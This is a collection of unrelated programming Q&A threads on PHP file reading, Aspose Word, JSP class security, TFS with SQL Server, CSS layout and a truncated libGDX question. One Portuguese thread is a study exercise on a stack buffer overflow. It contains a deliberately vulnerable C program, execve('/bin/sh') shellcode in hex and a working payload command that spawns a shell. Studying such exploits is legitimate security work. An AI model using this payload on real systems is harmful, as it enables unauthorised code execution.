Ler um arquivo em php

Question: A minha tela, consegue listar os arquivos como link  e até exibe em outra aba com o target  ,só não consigo fazer com que o arquivo clicado exiba o conteúdo.
Estou usando o fopenpara abrir e o fread para ler...
Segue como está o código:
<?php

   foreach(new DirectoryIterator('C:\xampp\htdocs\testtoclassificados\log') as $fileInfo){

       if($fileInfo->isDot())continue;
       if($fileInfo->isFile()){

       $arquivo  = $fileInfo->getPathname();

       if($fileInfo->isReadable() == true){
         $fp       = fopen($arquivo,"r");
        $texto    = fread($fp, filesize($arquivo));
         fclose($fp);
          echo"
".$arquivo."

";
       }else echo "O arquivo ".$arquivo." não possuí permissão de leitura.";
      }
   }
  ?>

Exibe estes erros,quando uso o fopen e fread:
Warning: fopen(.): failed to open stream: Permission denied in
C:\xampp\htdocs\testtoclassificados

Warning: fread() expects parameter 1 to be resource, boolean given in

Warning: fopen(apostila2.pdf): failed to open stream: No such file or directory in C:\xampp\htdocs\testtoclassificados

A lógica do código está errada?
Minha tela só que não abre outra aba com o conteúdo do arquivo...
Comment: Ricardo confere as permissões e usuario da pasta e arquivos contidos dentro de testtoclassificados. O erro em questão refere-se a isso.
Comment: Em seguida adicione essa lógica após seu foreach if ($fileinfo->isFile())  para certificar que é um arquivo antes de ler com fopen. A olho nú sem teste foi o que percebi.
Comment: `Fatal error: Uncaught Error: Call to a member function isFile() on null in C:\xampp\htdocs\testtoclassificados\` esta mensagem exibe  depois que coloquei o isFile mostra que estar nulo
Comment: Eu botei if ($fileinfo->isFile()) no comments, e você no seu código usou $fileInfo com letra maiúscula no info verifica lá no seu código.
Comment: Só uma duvida, porque usar fopen dentro do iterador? A variavel texto parece não servir pra nada `$texto`.
Comment: Porque anteriormente ele estava imprimindo um pedaço do texto de chamariz na tela. Não sei se ele vai manter isso!
Answer: Para entender melhor o problema, você pode adicionar um depurador no seu código dessa forma.
<?php
    foreach(new DirectoryIterator('C:\xampp\htdocs\testtoclassificados\log') as $fileInfo){
       echo "
"; print_r($fileInfo); echo "
";
       /*$fp = fopen($fileInfo,"r");
       $texto = fread($fp, filesize($fileInfo));
       if($fileInfo->isDot())continue;
       $arqName = $fileInfo->getFilename();
       // $handle = $fileInfo->fopen("c:\\data\\info.txt", "r");*/
    }
?>

Utilize o print_r para printar na tela a instância da classe DirectoryIterator retornada por cada interação de seu loop foreach. Cada objeto printado é um arquivo ou diretorio dentro do diretório log. Você está utilizando a instância do objeto fileInfo como path para o arquivo e na realidade é uma instancia de objeto com métodos e atributos. Siga o exemplos da documentação DirectoryIterator Em seguida remova o comentário que adicionei e verifique qual o último arquivo ou diretório que o código php  exibe a mensagem de erro.  Verifique se não  está tentando usar o fopen em um diretório. Tem que validar a condição para o fopen ler apenas arquivos.
<?php
    foreach(new DirectoryIterator('C:\xampp\htdocs\testtoclassificados\log') as $fileInfo){
           //Se for . ou .. pular para a próxima interação do laço.
           if($fileInfo->isDot())continue;
           if($fileInfo->isFile()){
               //DirectoryIterator::getPathname — Retorna o caminho e o nome
               //do arquivo do elemento atual do diretório
               $arquivo  = $fileInfo->getPathname();
               // Abre para leitura mas antes verifica se o arquivo
               // tem permissão de leitura.
               if($fileInfo->isReadable() == true){
                  $fp       = fopen($arquivo,"r");
                  $texto    = fread($fp, filesize($arquivo));
                  echo $texto."

";
                  fclose($fp);
              }else echo "O arquivo ".$arquivo." não possuí permissão de leitura.";
          }
    }
?>

Para fazer uma listagem de arquivos com links e abrir em nova guia faça assim :
<?php
    foreach(new DirectoryIterator('C:\xampp\htdocs\testtoclassificados\log') as $fileInfo){
      //Se for . ou .. pular para a próxima interação do laço.
      if($fileInfo->isDot())continue;
        if($fileInfo->isFile()){
          //DirectoryIterator::getPathname — Retorna o caminho e o nome
          //do arquivo do elemento atual do diretório
          $arquivo  = $fileInfo->getPathname();
          // Abre para leitura mas antes verifica se o arquivo
          // tem permissão de leitura.
          if($fileInfo->isReadable() == true){
              $fp       = fopen($arquivo,"r");
              $texto    = fread($fp, filesize($arquivo));
              fclose($fp);
              // A variavel $arquivo recebeu o valor do método contido
              //dentro da intância da classe DirectoryInterator.
              //Dentro desse objeto existe o método que retorna o caminho
              //completo até o arquivo, como mostrado abaixo
              //$fileInfo->getPathname(), portanto a variavel $arquivo possuí
              //o path completo uma vez que definida acima.
              $urlLeitor  = "http://localhost/leitor.php?arquivo=".$fileInfo->getFilename();
              echo"
".$texto."

";
           }else echo "O arquivo ".$arquivo." não possuí permissão de leitura.";
       }
    }
?>

Comment: O rafael ficou bom mesmo do jeito que você  postou. Agora  eu gostaria  nesta mesma página  quando clico no arquivo ela abre em outra página.. mostrando o conteúdo do arquivo.
Comment: Não entendi edita seu comentário. Você usou no seu link target='_blank' vai sempre abrir em nova guia. O que quer fazer?
Comment: ` $fileInfo"?> do jeito que estar ,mostra arquivo não encontrado..404 quando abre em outra aba
`
Comment: Expliquei acima $fileInfo não é o path para seu arquivo é uma instância da classe DirectoryInterator para obter o path completo para o arquivo use
$fileInfo->getPathname(). Vou editar minha resposta.
Comment: Certo Rafael entendi..  só que do jeito que estar o conteúdo aparece como link e na mesma página,eu quero o nome do arquivo que estar em uma pasta e quando clico abre outra aba com o conteudo .. tipo : notas.txt e abre em outra aba as notas entendeu do jeito que estar aparece na mesma . Desculpa exigir tanto ainda estou verde em php
Comment: Tá assim e exibe erro 404 `$fileInfo"?>
`
Comment: se colocar conforme o exemplo no meu aki aparece o conteúdo na pagina e como link ,mas que não abre a outra aba
Comment: Mas você deveria substituir o c:\xamp\htdocs por http://localhost se está executando pelo navegador. Nunca testei no xamp mas eu acredito que pelo caminho local deve haver algum bloqueio. Faça um replace usando a função str_replace. Ou antes tente abrir o arquivo pelo seu navegador com http://localhost/testtoclassificados/log/classe1.txt veja o que acontece.
Comment: `http://localhost:8080/log/classe1.txt` assim com o meu xampp ativado com o apache ele exibe  o conteúdo do arquivo...
Comment: e outra.. a pasta com os arquivos só aparece o nome conforme a imagem se ela estiver dentro da pasta do projeto.. se não diz que nao pode encontrar o caminho especificado....  os erros sempre apontam prá cá  ` foreach(new DirectoryIterator('localhost\testtoclassificados\startbootstrap-full-slider-gh-pages\log'`
Comment: Vamos [continuar esta discussão no chat](http://chat.stackexchange.com/rooms/70411/discussion-between-rafael-salomao-and-ricardo-mendes).

Ler um arquivo em php


How to change font color of an existing table cell in Aspose Word in Java?

Question: I have an existing table in Aspose word template, I want to change the font color of the text inside the cell. How can I achieve it?
<code>CellCollection cellList = row.getCells()
def i = 0
Run run;
Cell cell = cellList.get(i)
</code>
I am new to Aspose Word.
Answer: Please use following code example to change the color of text inside table's cell. Hope this helps you.
<code>//Load the document
Document doc = new Document(MyDir + "in.docx");

//Get the first table in the document
Table table = (Table)doc.getChild(NodeType.TABLE, 0, true);

//Get the first cell of first row
Cell cell = (Cell)table.getRows().get(0).getCells().get(0);

//Change the color of text
for (Run run : (Iterable<Run>)cell.getChildNodes(NodeType.RUN, true))
{
    run.getFont().setColor(Color.BLUE);
}

//Save the document
doc.save(MyDir + "Out.docx");
</code>
I work with Aspose as Developer evangelist.


Segurança - Syscall dentro de shellcode não executa

Question: Eu estou estudando segurança da informação e fazendo experimentos tentando exploitar um caso clássico de buffer overflow.
Eu sucedi na criação do shellcode, em sua injeção no código e na sua execução, o problema é que uma syscall para uma execve() dentro do shellcode simplesmente não sucede.
Detalhadamente:
Este é o código do programa vulnerável (foi compilado num Ubuntu 15.04 x86-64, com o gcc com as flags: "-fno-stack-protector -z execstack -g" e com a ASLR desligada):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

Este o um pequeno programa em assembly que executa uma shell com uma chamada de sistema execve() e depois termina com um exit().Note que este código funciona independentemente. Isto é: Se compilado e linkado independentemente, ele funciona sem problemas.
 global _start

 section .text
_start:
     jmp short push_shell
starter:
     pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

Esta é a saída de um objdump -d -M intel com o binário do código acima, que é de onde eu extrai o shellcode:
spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)
  1e:   62                      (bad)
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)
  22:   73 68                   jae    8c <shell+0x6f>

Este comando seria o payload propriamente dito: O que injeta o shellcode no programa junto com o endereço de retorno que irá sobrescrever o endereço de retorno original:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

Até o momento, eu já depurei o meu programa vulnerável com o shellcode injetado cuidadosamente, observando o incremento do registrador RIP, observando o conteúdo do que ele aponta e conferindo esse conteúdo com os opcodes do meu shellcode, constatei o seguinte:

O endereço de retorno é sobrescrito pelo fornecido por mim no payload corretamente e a execução salta para o meu shellcode.
A execução sucede normalmente até o "16:" do código assembly acima, onde acontece a chamada de sistema.
A chamada de sistema simplesmente não acontece, mesmo com todos os registradores corretamente configurados para a chamada de sistema. Estranhamente, depois da chamada de sistema, os registradores RAX e RCX ficam com todos os bits setados.

O resultado é que já que a chamada de sistema não aconteceu, o trecho de código jump é executado de novo, o que faz a execução saltar para o início do meu shellcode (pulando todos os NOPs), o que faz com que ele fique colocando o endereço de "/bin/sh" na pilha continuamente até o programa dar crash e terminar em SEGFAULT.
Em suma, o problema principal é esse: A syscall dentro do meu shellcode não é executada e o exploit não funciona, mas a syscall dentro de um programa em Assembly independentemente funciona sem problemas.
Algumas outras notas:

Alguns diriam que falta terminar a minha string com um null byte. Mas pelo que parece isso não é necessário já que o meu programa em Assembly consegue uma shell mesmo sem terminar a string. E eu já tentei outro payload no meu programa vulnerável com um simples exit() e o mesmo acontece.
Lembre-se de que se trata de um programa vulnerável compilado pra AMD64.

O que há de errado com meu shellcode?
Answer: Relembrando e escovando os bits, deu pra notar que o spawn_shell.asm tem  problemas na inicialização de alguns registradores e garanta que você achou o endereço de retorno exato, já de cara deu pra ver um erro (talvez digitação) entre o seu  shellcode e o dump do seu assembly:
Pedaço Dump assembly:
  0:   eb 16                   jmp    18 <push_shell>

Inicio do seu shellcode:
\xeb\x13

Para mim deveria ser \xeb\x16,
O mesmo erro acontece na linha 18:
 18:   e8 e5 ff ff ff          call   2 <starter>

No seu Shellcode está:
\xe8\xe8\xff\xff\xff\

Deveria ser \xe8\xe5\xff\xff\xff\
A  linha b: nem foi convertida pra hexa "você passou batido por ela"
 b:   48 31 c9                xor    rcx,rcx

Ou seja o seu shellcode possui muitas falhas, isso é um problema grave.
mas independente disso vamos lá tentar explorar o seu código!
Ubuntu 64bits:
root@eder-virtual-machine:~# uname -a
Linux eder-virtual-machine 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

ASM puro que executa uma shell (/bin/sh), estou usando um diferente que o seu pois esse eu tenho certeza que funciona em 64bits:
root@eder-virtual-machine:~# cat t.asm
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38
syscall

Compilar, criar link e gerar dump:
root@eder-virtual-machine:~# nasm -f elf64 t.asm
root@eder-virtual-machine:~# ld -o shellcode t.o
root@eder-virtual-machine:~# objdump -d shellcode

shellcode:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <__bss_start-0x200f80>:
  400080:       48 31 d2                xor    %rdx,%rdx
  400083:       48 31 f6                xor    %rsi,%rsi
  400086:       48 bf 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rdi
  40008d:       73 68 11
  400090:       48 c1 e7 08             shl    $0x8,%rdi
  400094:       48 c1 ef 08             shr    $0x8,%rdi
  400098:       57                      push   %rdi
  400099:       48 89 e7                mov    %rsp,%rdi
  40009c:       48 b8 3b 11 11 11 11    movabs $0x111111111111113b,%rax
  4000a3:       11 11 11
  4000a6:       48 c1 e0 38             shl    $0x38,%rax
  4000aa:       48 c1 e8 38             shr    $0x38,%rax
  4000ae:       0f 05                   syscall

Temos um shellcode pronto para ser executado em 64btis:
"\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"

OK, eu inseri um printf a mais dentro do seu código para me ajudar a descobrir o endereço de retorno (preguiça de usar o gdb).
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];
    printf("%p\n", exploit);
    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

Compilando o código:
root@eder-virtual-machine:~#gcc -m64 bugado.c -o bugado -z execstack -fno-stack-protector

Eu usei um -m64 para realmente garantir a compilação em 64 bits, Legal você definiu um buffer de tamanho 128, vamos ver com qual tamanho as coisas começam a se complicar, preguiça de ir no gdb novamente, vou tentar achar o valor no braço:
root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 128')
0x7fffffffe8f8
Failed to exploit.

Sem dump nenhum ainda OK!
root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 129')
0x7fffffffe8f7
Failed to exploit.
Segmentation fault (core dumped)

Tamanho 129 já deu segmentation fault, mas a mensagem do printf "Failed to exploit." continua firme ali, ainda não estamos no ponto certo. continuei até o tamanho 136:
root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 136')
0x7fffffffe8f0
Segmentation fault (core dumped)

Realmente aqui parece ser o ponto crítico, com 136 bytes, 8 bytes a mais do tamanho do buffer e com endereço do retorno em 0x7fffffffe8f0.
O meu shellcode possui 48 Bytes, espero que você tenha calculado corretamente ai, para o meu shellcode o calculo seria 136-48 = 88 bytes que você vai precisar encher com lixo + endereço de retorno!
root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xf0"[::-1]')
0x7fffffffe8ea
Segmentation fault (core dumped)

Ainda não foi, mas olha lá para onde o endereço de retorno está agora 0x7fffffffe8ea
O endereço parece ser sempre valor do primeiro endereço de retorno menos 6, neste caso uma maneira de chegar ao endereço correto seria:
root@eder-virtual-machine:~# printf "%X\n" $((0x7fffffffe8f0 - 6))
7FFFFFFFE8EA

Tentando com o endereço de retorno corrigido:
root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xea"[::-1]')
0x7fffffffe8ea
#

Agora sim o buffer overflow para seu código foi executado sem grandes problemas, dica, verifique com cuidado se o endereço de retorno é o correto, você percebeu que após injetar o código o primeiro endereço de retorno encontrado teve que ter um ajuste, se você não estiver no endereço correto não tem como explorar, eu olharia com carinho os registradores do seu asm, um ponto importante é que o seu shellcode não bate com o endereço hexa mostrado, olhando o seu playload poço dizer que o seu shellcode possui 33 bytes e você adicionou 103 NOPs antes de injetar o shellcode + endereço de retorno (lembre-se seu shellcode está faltando linha e com alguns códigos hexadecimais errados, como apontando acima) , isso me diz que você encontrou o mesmo tamanho de buffer explorável que foi 136 = 103+33, o cálculo para a posição exata de exploração parece estar OK, olhando de fora é impossível dizer se o endereço de retorno mostrado por você é realmente o correto, portanto como dito o seu problema parece ser realmente o seu shellcode, pode ser tanto o asm quanto a conversão do dump em hexa com número errado e com linha faltando sem conversão,  no mais espero ter ajudado !


How secure are classes used by JSP Pages?

Question: If I have a form on a JSP page, and the form passes its data to a simple java file (.class) that I have written, which returns some sort of data that is printed to the user on a new page. Would that java file itself be accessible to users of the website ? In other words, would it be possible for a user to locate that .class file and download it ? If so, how can I prevent that from happening?
Answer: no they would not be able to download the class files, the servlet container running your application would have all the class files under WEB-INF/classes. Anything under the WEB-INF folder is not publicly visible.
Comment: So no extra level of security would be needed, to keep the classes under WEB-INF from being downloaded ?
Comment: Correct. The web container does not allow you to access that as a resource.
Comment: I just noticed that in Eclipse, the classes are being added to "\build\classes" instead of "\WebContent\WEB-INF\classes", is this the way Tomcat 7.0 handles classes now ? Or should I explicitly move them to the directory you mentioned ? Thanks again!
Comment: @Jonathan - build\classes is just for eclipse, when you create a war file the classes would be inside WEB-INF/classes folder always.
Answer: short answer is no.
Longer answer, any .class file that runs on the client side they will have access to but any class that runs on the server side they will not have access to.
Comment: Thanks! I came to that conclusion on my own, but I wasn't sure, it was mainly why I decided to go with JSP/Servlet instead of turning my classes into an applet.
Comment: @Jonathan - you aren't really getting Servlet API - Not transferring classes to applet is not a reason to use servlets over applets. They both are completely different technologies and not alternative to each other.


TFS 2015 Express configuration keeps finding older SQL Server

Question: I need to install Team Foundation Server Express 2015.

I have SQL Server 2005 Installed
I have SQL Server 2008 Express Installed
I have SQL Server 2008 R2 Installed
I have SQL Server 2012 Installed
I have SQL Server 2014 Express Installed

The problem is that TFS 2015 keeps trying to use the SQL Server 2008 Express as a database server and I don't want to upgrade that installation.
How do I setup my TFS to use the SQL Server 2014 Express as the SQL provider?
Answer: Express is designed to install SQL Express as part of the install. It's Express because it sets everything up and is designed to be run on an empty server.
You could try turning off all the other SQL Instances during the install. That might trick TFS into picking the right one.
Or, the right way, would be to pick "advanced" configuration and choose the SQL Instance that you want to use when prompted.
Comment: I didn't find an advanced configuration anywhere, however, shutting down the other instances of express did help reconfigure the server.


Why is this background color cut off on the edge sides and the colors are only applied on the center?

Question: Background Color Consistency Problem:
I know my code has some layout issues for sure. But just to explain what's the current problem I am struggling with, the background colors (background color pattern with 2 different colors) aren't filled entirely to the very edge sides of both (left and right edges), but colors are filled only on the center space.
Ref: Please check this image:
[1]: https://prnt.sc/zf8bIJGu-iDK
[2]: https://prnt.sc/td47mQeiibvR
I tried a lot of stuff like width:100%; in each parent section and removed margin: auto; and stuff... Nothing solved this problem yet...
My Current Code:
HTML
<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>MyungHwan Hong</title>

    <link rel="stylesheet" href="./style.css">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Poppins&display=swap" rel="stylesheet">

            LoremIpsum

Home

About Me

Projects

Contact Me

Not only a web developer but also,

A Problem Solver

For Your Business

                Hit Me Up!

About Me

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor.

Get To Know Me!

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo.

My Skills:

HTML

CSS

Java Script

Python

React

Mobile Optimization

SQL

Mongo DB

SEO

Projects

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor.

Project Title

Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tell sit amet adipiscing sem neque sed ipsum.

                    Case Study

Project Title

Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tell sit amet adipiscing sem neque sed ipsum.

                    Case Study

Project Title

Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tell sit amet adipiscing sem neque sed ipsum.

                    Case Study

Project Title

Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tell sit amet adipiscing sem neque sed ipsum.

                    Case Study

Contact

Feel free to contact me by submitting the form below and I will get back to you as soon as possible!

                    <form id="contact-form" method="post" action="submit-form.php">
                            Name:
                            <input type="text" id="name" name="name" placeholder="Your Name" required>

                            Email:
                            <input type="email" id="email" name="email" placeholder="Your Email" required>

                            Message:
                            <textarea id="message" name="message" placeholder="Your Message" required></textarea>
                    </form>

                    Submit

CSS:
/* General */

* {
    margin: 0 auto;
    padding: 0 1em;
    max-width: 70rem;
    font-family: 'Poppins', sans-serif;
}

body {
    overflow-x: hidden;
    overflow-y: scroll;
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

h1 {
    color: #A2DBFA;
    text-transform: uppercase;
}

h2 {
    font-size: 2rem;
    text-transform: uppercase;
    text-align: center;
    padding-top: 40px;
    color: #053742;

    text-decoration:overline;
    text-decoration-thickness: 4px;
    text-underline-offset: 12px;
}

h3 {
    font-size: 1.2rem;
}

p {
    margin-top: 2%;
    color: black;
    text-align: center;
}

section {
    width: 100%;
    padding: 0;
    margin: 0;
}

.heading {
    height: 12rem;
    padding: 0;
    margin: 0;
    /* border: 2px solid red; */
}

/* Top Header Bar */

.top-header-bar {
    display: flex;
    padding: 0;
    margin: 0;
    align-items: center;
    justify-content: space-between;
    /* border: 2px solid red; */
    min-height: 4.5rem;
    background-color: #053742;
}

.logo {
    text-decoration: none;
    font-size: 25px;
    color: #E8F0F2;
    padding-right: ;
    flex: 1;
}

span {
    color: #FF7F50;
    padding: 0 10px;
}

.top-header-bar ul li {
    display: inline-block;
    list-style-type: none;
    text-decoration: none;
    margin: -15px;
}

.top-header-bar ul li a {
    text-decoration: none;
    color: #E8F0F2;
    font-weight: bold;
}

.top-header-bar ul li a:hover {
    color: #A2DBFA;
    transition: 0.4s;
}

/* Home Content */

.home {
    /* border: 2px solid red; */
    display: flex;
    flex-direction: row;
    justify-content: center;
    align-items: center;
    height: 38rem;
    background-color: #053742;
}

/* Home Content: Left Section */
.home .home-left {
    flex: 1;
    min-height: 10rem;
    /* border: 2px solid red; */
    padding: 30px;
    margin-top: 10px;
    margin-left: 13px;
}

.home .home-left h1 {
    font-size: 4rem;
    margin: -10px -50px;
    text-align: center;
    line-height: 70px;
    padding-top: 1.2rem;
    padding-bottom: .2rem;
}

.home .home-left p {
    font-size: 1.2em;
    color: #E8F0F2;
}

.line-3-spacing {
    margin-bottom: 30px;
}

.home .home-left .btn {
    text-decoration: none;
    color: #E8F0F2;
    background-color: #FF7F50;
    font-weight: bold;
    border-radius: 50px;
    padding: 7px 30px;
    font-size: 1.2em;
    margin-left: 32%;
    display: inline-flex;
    justify-content: center;
}

.home .home-left .btn:hover {
    background-color: transparent;
    border: 2px solid #FF7F50;
    transition: 0.4s;
    font-weight:lighter;
}

/* Home Content: Right Section */
.home-right {
    flex: 1;
}

.home-right img {
    height: 24rem;
    /* border: 2px solid red; */
    padding: 0;
    margin-left: 80px;
    border-radius: 5%;
    padding-top: 60px;
}

/* About Me */

.about-me {
    background-color: #A2DBFA;
    /* border: 2px solid red; */
    padding: 0;
    margin: 0;
}

.about-heading {
    /* border: 2px solid red; */
    margin-bottom: -1rem;
}

.about-me .about-details {
    display: flex;
    justify-content: center;
    /* border: 2px solid red; */
    padding-bottom: 2rem;
}

.about-heading h2 {
    text-decoration-color: #053742;
}

.about-details-left {
    flex: 1;
    /* border: 2px solid red; */
}

.about-details-right {
    flex: 1;
    /* border: 2px solid red; */
}

.about-details-left h3 {
    color: #053742;
    text-align: center;
    margin: 20px 20px;
}

.about-details-left p {
    text-align: left;
}

.about-details-right h3 {
    color: #053742;
    text-align: center;
    margin: 20px 20px;
    margin-bottom: 5%;
}

.about-details-right .skills {
    display: flex;
    flex-wrap: wrap;
    justify-content: flex-start;
}

.about-details-right .skills .skills-detail {
    background-color: #FF7F50;
    font-size: 1.1rem;
    font-weight: bold;
    border-radius: 20px;
    color: #053742;
    padding: .8rem 1rem;
    margin-left: .5rem;
    margin-bottom: .6rem;
    margin-right: .3rem;
}

/* Section - PROJECTS */
.projects {
    /* border: 2px solid red; */
    padding: 0;
    margin: 0;
    background-color: #053742;
}

.projects .projects-heading h2 {
    text-align: center;
    color: #E8F0F2;
    text-decoration-color: #A2DBFA;
}

.projects .projects-heading p {
    width: 80%;
    color: whitesmoke;
    text-align: center;
}

.projects-details {
    border: 1px solid #E8F0F2;
    display: flex;
    margin-bottom: 2.5rem;
}

.projects-details img {
    flex: 1;
    height: 15rem;
    width: 100%;
    object-fit: cover;
}

.projects-details-right {
    /* border: 2px solid red; */
    flex: 1;
    display: flex;
    flex-direction: column;
}

.projects-details-right h3 {
    color: #A2DBFA;
    text-align: center;
    margin: 20px 20px;
}

.projects-details-right p {
    margin-bottom: 24px;
    color: #E8F0F2;
}

.projects-details-right .projects-btn {
    text-decoration: none;
    color: #E8F0F2;
    background-color: #FF7F50;
    border-radius: 50px;
    padding: 8px 30px;
    font-size: 1em;
    font-weight: bold;
}

.projects-details-right .projects-btn:hover {
    background-color: transparent;
    border: 2px solid #FF7F50;
    transition: 0.4s;
    font-weight: lighter;
}

/* Section - CONTACT ME */

.contact-me {
    border: 2px solid red;
    height: 45.1rem;
    background-color: #A2DBFA;

    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
}

.contact-heading {
    height: 12rem;
    padding: 0;
    margin: 0;
    width: 100%;
    margin-top: -60px;
    /* border: 2px solid red; */
}

.contact-heading h2 {
    text-decoration-color: #053742;
}

.contact-heading p {
    text-align: center;
    /* border: 2px solid red; */
    width: 84%;
    color: black;
}

.contact-form-container {
    max-width: 650px;
    padding: 0;
    margin: 0;
    /* border: 2px solid red; */
    display: inline-flex;
    justify-content: center;
    align-items: center;
    margin-top: 1rem;
    margin-bottom: -1.2rem;

}

.contact-form-container form {
    max-height: 29rem;
    color: #E8F0F2;
    border: 2px solid #E8F0F2;
    background-color: #053742;
    margin-top: -0.5rem;
    border-radius: 20px;
    height: 100vh;
    padding-top: 2rem;
    padding-right: 1.5rem;
}

.contact-form-container input[type="text"],
.contact-form-container input[type="email"],
.contact-form-container textarea {
    width: 100%;
    padding: 5px;
    margin-bottom: 20px;
    border: 1px solid #ccc;
    border-radius: 4px;
    margin-top: 7px;
}

.contact-form-container textarea {
    height: 150px;
}

.contact-form-container label {
    font-weight: bold;
}

.contact-btn-container {
    position: relative;
    display: inline-flex;
    justify-content:center;
}

.contact-me .contact-btn {
    background-color: #FF7F50;
    padding: 7px 30px;
    border-radius: 50px;
    text-decoration: none;
    color: #E8F0F2;
    font-weight: bold;
    margin-bottom: px;
    position: absolute;
    bottom: 14px;
}

.contact-me .contact-btn:hover {
    background-color: transparent;
    border: 2px solid #FF7F50;
    color: #E8F0F2;
}

I tried quite a number of variations to sort this issue out, for example, applying width: 100%; on each section for background colors, and removing margin: auto; and so on. Nothing solved this issue by far...
Would you anyone please save my life from being extremely stressed out of this frustration...?
Comment: Please reduce your code to a [mcve]
Comment: Your code doesn't include any background color.... Looking at the screenshots, I'm guessing the margins are due to your universal max-width declaration. Adding 100% to child elements will still be 100% of 70rem, the max-width of the parent elements (all the way up to `body` and `html`.)
Answer: It looks like you need to remove padding and max-width from your rule
* {
    margin: 0 auto;
    /* padding: 0 1em; */
    /* max-width: 70rem; */
    font-family: 'Poppins', sans-serif;
}

Comment: Thank you so much! It solved the problem right away with your code!! Really appreciate it!


How can I prevent my libGDX live wallpaper from causing black font color on the Android home screen?

Question: I've encountered a perplexing issue. When users set my wallpaper, the font color of the app names on their home screens turns black, making it difficult to read due to the wallpaper's dark colors.
I thoroughly reviewed my libGDX code to check for any explicit settings related to font colors, but couldn't find any that would affect the home screen's font color.
Since I hadn't defined any specific font color in my code, I expected the font color on the Android home screen to remain unchanged, adapting to the dark colors used in the wallpaper, thus remaining readable.
Contrary to my expectations, when I set my live wallpaper, the font color of the app names on the home screen turned black, causing readability issues due to the wallpaper's dark colors. This behavior was unique to my wallpaper app, and I couldn't determine the reason behind it
